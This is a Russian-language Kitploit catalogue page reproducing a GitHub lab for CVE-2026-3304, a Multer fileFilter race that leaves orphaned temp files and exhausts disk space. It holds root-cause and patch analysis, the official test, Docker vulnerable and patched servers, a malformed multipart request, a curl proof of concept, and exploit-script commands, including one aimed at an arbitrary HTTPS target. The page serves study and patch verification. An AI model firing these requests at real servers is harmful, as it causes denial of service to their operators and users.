Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-3304 — # Лаборатория воспроизведения CVE-2026-3304 Лаборатория воспроизведения для CVE-2026-3304 — гонки в асинхронном fileFilter в Multer, приводящей к исчерпанию диска через осиротевшие временные файлы. Включает уязвимые и пропатченные Docker-серверы, эксплойт-скрипты и анализ первопричины. | Kitploit
Инструменты/GitHubGitHub/mkway/cve-2026-3304
Анализ уязвимостейЭксплуатацияВеб-безопасностьОбучение и ОбразованиеЛаборатории и Практика
GitHubmkway/cve-2026-3304

CVE-2026-3304

Репозиторий
46 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

# Лаборатория воспроизведения CVE-2026-3304 Лаборатория воспроизведения для CVE-2026-3304 — гонки в асинхронном fileFilter в Multer, приводящей к исчерпанию диска через осиротевшие временные файлы. Включает уязвимые и пропатченные Docker-серверы, эксплойт-скрипты и анализ первопричины.

Поделиться

Лабораторная среда CVE-2026-3304

Только для образовательных и исследовательских целей. Атака на системы без авторизации незаконна.

Эта лабораторная среда была создана на основе анализа патча Multer 2.1.0 и его официального тестового кода. Уязвимый сервер воспроизводит точные условия, описанные в тесте патча, а пропатченный сервер запускает Multer 2.1.0 для подтверждения работоспособности исправления.

Обзор уязвимости

ПолеДетали
CVECVE-2026-3304
ЦельMulter < 2.1.0 (промежуточное ПО Node.js для multipart/form-data)
ТипDoS — осиротевший файл (неполная очистка временных файлов)
CWECWE-459: Неполная очистка
CVSS 4.08.7 ВЫСОКИЙ
Исправленная версияMulter 2.1.0

Некорректный multipart-запрос с отсутствующим атрибутом name в файловой части приводит к тому, что Multer создает временный файл на диске, но никогда его не удаляет. Повторные запросы исчерпывают дисковое пространство, что приводит к отказу в обслуживании.


Анализ первопричины

Уязвимость возникает в потоке обработки обратного вызова fileFilter внутри multer/lib/make-middleware.js.

Основная проблема: тайминг setImmediate + отсутствующая проверка errorOccured

Когда Multer потоково обрабатывает и разбирает multipart-запрос по частям, происходит следующая последовательность:

root@kitploit:~
[Последовательность событий разбора — уязвимая версия]

1. Получен заголовок части 1
   → вызывается fileFilter(req, file, cb)
   → setImmediate(cb) → обратный вызов откладывается до следующего тика цикла событий

2. Получено тело части 1
   → открывается /tmp/uploads/<uuid>, начинается запись данных

3. Получен заголовок части 2 (атрибут name отсутствует)
   → Multer обнаруживает 'name missing'
   → errorOccured = true  ← установлен флаг ошибки
   → вызывается abortWithCode('LIMIT_FIELD_KEY') → запланирован HTTP 500

4. Срабатывает обратный вызов setImmediate (следующий тик цикла событий)
   → результат fileFilter: includeFile = true (обычный поток)
   → [ОШИБКА] флаг errorOccured НЕ проверяется
   → вызывается storage._handleFile() → временный файл сохраняется на диск

5. Отправлен ответ HTTP 500
   → временный файл остается на диске (осиротевший файл)

Уязвимый код (make-middleware.js — Multer < 2.1.0)

root@kitploit:~
// Обратный вызов завершения fileFilter (отложен через setImmediate)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ errorOccured здесь никогда не проверяется
  //    даже если ошибка была установлена при разборе части 2, выполнение продолжается
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // временный файл регистрируется в uploadedFiles и остается на диске
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Почему setImmediate является проблемой?

Обертывание fileFilter в setImmediate откладывает его обратный вызов до следующего тика цикла событий. В этом окне busboy (парсер multipart) продолжает разбирать заголовки следующей части, обнаруживает отсутствующий name и устанавливает errorOccured = true. Когда обратный вызов возобновляется, состояние ошибки уже установлено — но код никогда его не проверяет, поэтому storage._handleFile вызывается безусловно, и временный файл записывается на диск.


Анализ кода патча (Multer 2.1.0)

Коммит исправления: 739919097d

Одна проверка if (errorOccured) была добавлена сразу после входа в обратный вызов fileFilter, до достижения storage._handleFile.

root@kitploit:~
// Обратный вызов завершения fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [ПАТЧ] Проверка errorOccured перед продолжением
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // дренаж потока — файл не записывается на диск
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Сводка изменений

ЭлементУязвимый (< 2.1.0)Исправленный (2.1.0)
Проверка errorOccured❌ Не проверяется✅ Проверяется сразу при входе в обратный вызов
_handleFile вызывается при ошибкеДаЗаблокирован
Очистка временных файлов❌ Отсутствует✅ Через fileStream.resume()
Осиротевшие файлы на запрос10

Почему fileStream.resume() выполняет очистку: Вызов fileStream.resume() дренирует и отбрасывает поток без передачи его в DiskStorage, поэтому файл не записывается и на диске ничего не остается.


Официальный тестовый код патча

Команда Multer включила следующий тест Mocha в патч 2.1.0 для проверки исправления. Этот тест стал основой для данной лабораторной среды — уязвимый сервер воспроизводит точную конфигурацию, описанную здесь (setImmediate fileFilter + некорректный multipart-запрос), а ожидаемое поведение проверяется как на уязвимой, так и на исправленной версиях.

root@kitploit:~
/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
УтверждениеЗначение
res.statusCode === 400Multer корректно отклоняет некорректный запрос
files.length === 0На диске не остается осиротевших файлов (патч подтвержден)

На уязвимой версии (< 2.1.0) files.length равен 1, и утверждение не выполняется.


Реализация лабораторной среды

Эта лабораторная среда напрямую повторяет конфигурацию теста патча, описанную выше.

Уязвимый сервер (Dockerfile + app/server.js) запускает Multer 2.0.2 с асинхронным fileFilter с использованием setImmediate — точное условие срабатывания из теста патча:

root@kitploit:~
// app/server.js — воспроизводит триггер уязвимости из теста патча
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← откладывает обратный вызов, создавая состояние гонки
      cb(null, true)
    })
  }
})

Исправленный сервер (Dockerfile.patched) запускает тот же server.js, но устанавливает Multer 2.1.0, где присутствует проверка errorOccured — что соответствует ожидаемому проходящему состоянию теста патча.

СерверПортMulterОжидаемое поведение
Уязвимый30002.0.2Осиротевший файл создается при каждом некорректном запросе
Исправленный30012.1.0Нет осиротевших файлов — очистка работает корректно

Примечание: Переключение fileFilter на синхронный режим (удаление setImmediate) предотвращает появление осиротевших файлов даже на Multer < 2.1.0. Уязвимость требует обоих условий: асинхронного fileFilter и отсутствующей проверки errorOccured.


Атака: Некорректный POST-запрос

Атака отправляет POST-запрос multipart/form-data, в котором во второй части отсутствует обязательный атрибут name.

Обычный запрос (безопасный)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<двоичные данные>
------Boundary--

Вредоносный запрос (срабатывает CVE-2026-3304)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← Часть 1: корректная, здесь создается временный файл
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← Часть 2: name= отсутствует!
Content-Type: application/octet-stream

x
------Boundary--

Выполнение на стороне сервера:

root@kitploit:~
1. Прибывает часть 1  →  Multer открывает /tmp/uploads/<uuid> и начинает запись
2. fileFilter вызывается с setImmediate  →  обратный вызов отложен
3. Прибывает часть 2  →  Multer обнаруживает отсутствующий name  →  errorOccured = true
4. Срабатывает setImmediate  →  выполняется обратный вызов fileFilter
5. [ОШИБКА] errorOccured не проверяется  →  вызывается storage._handleFile
6. Временный файл записывается на диск
7. Возвращается HTTP 500
8. /tmp/uploads/<uuid> навсегда остается на диске  ← осиротевший файл

Ответ сервера:

root@kitploit:~
HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

PoC с curl

root@kitploit:~
curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

Проверьте осиротевшие файлы сразу после:

root@kitploit:~
curl http://localhost:3000/status

Настройка

Требования

  • Docker, Docker Compose
  • Python 3 + requests (pip install requests)

Запуск

root@kitploit:~
# Запуск уязвимого (порт 3000) + исправленного (порт 3001) серверов
docker compose up -d --build

# Проверка, что оба работают
curl http://localhost:3000/status
curl http://localhost:3001/status

Использование

Шаг 1 — Одиночный некорректный запрос (быстрый тест)

root@kitploit:~
bash exploit/curl_poc.sh

Шаг 2 — DoS-эксплойт

root@kitploit:~
# По умолчанию (50 запросов)
python3 exploit/exploit.py

# Интенсивная атака (500 запросов, полезная нагрузка 5 КБ каждый)
python3 exploit/exploit.py --count 500 --size 5120

# Против HTTPS-цели с самоподписанным сертификатом
python3 exploit/exploit.py --target https://target.example.com --no-verify

# Сравнение с исправленной версией
python3 exploit/exploit.py --target http://localhost:3001 --count 50

Шаг 3 — Мониторинг в реальном времени (отдельный терминал)

root@kitploit:~
bash exploit/monitor.sh

Шаг 4 — Сброс каталога загрузок

root@kitploit:~
curl -X DELETE http://localhost:3000/reset

Ожидаемые результаты

ЦельРезультат
Уязвимый сервер (3000)Осиротевший файл создается при каждом запросе, диск непрерывно растет
Исправленный сервер (3001)0 осиротевших файлов независимо от количества запросов

Подтвержденные результаты тестов

Вывод эксплойта (уязвимый сервер, 50 запросов × 2 КБ)

root@kitploit:~
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50  |  Delay: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0

[  10/50] 500 response: True | orphaned files: 10  | disk: 20.00 KB
[  20/50] 500 response: True | orphaned files: 20  | disk: 40.00 KB
[  30/50] 500 response: True | orphaned files: 30  | disk: 60.00 KB
[  40/50] 500 response: True | orphaned files: 40  | disk: 80.00 KB
[  50/50] 500 response: True | orphaned files: 50  | disk: 100.00 KB

============================================================
[Result] Total requests: 50  |  Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted:    100.00 KB

[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)

Фактическое использование диска, проверенное внутри контейнера

root@kitploit:~
$ docker exec cve-2026-3304-target df -h /tmp/uploads

Before attack:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

After 200 requests × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

Каждый осиротевший файл остается на диске навсегда, пока сервер не будет перезапущен или файлы не будут удалены вручную. tmpfs контейнера ограничен 50 МБ — при достижении лимита сервер полностью перестает принимать новые загрузки.

Два запуска без сброса — файлы накапливаются

root@kitploit:~
Run 1:  orphaned files   0  ->  50   (100 KB)
Run 2:  orphaned files  50  -> 100   (200 KB)
        ↑ файлы из запуска 1 все еще присутствуют — никогда не очищаются

Исправленный сервер (Multer 2.1.0) — та же атака, нулевое воздействие

root@kitploit:~
[  10/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  20/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  30/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  40/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  50/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB

[*] No orphaned files — patched version cleans up correctly

Завершение работы

root@kitploit:~
docker compose down

Ссылки

  • GitHub Advisory GHSA-xf7r-hgr6-v32p
  • Fix commit 739919097d
  • NVD CVE-2026-3304
Скачать инструмент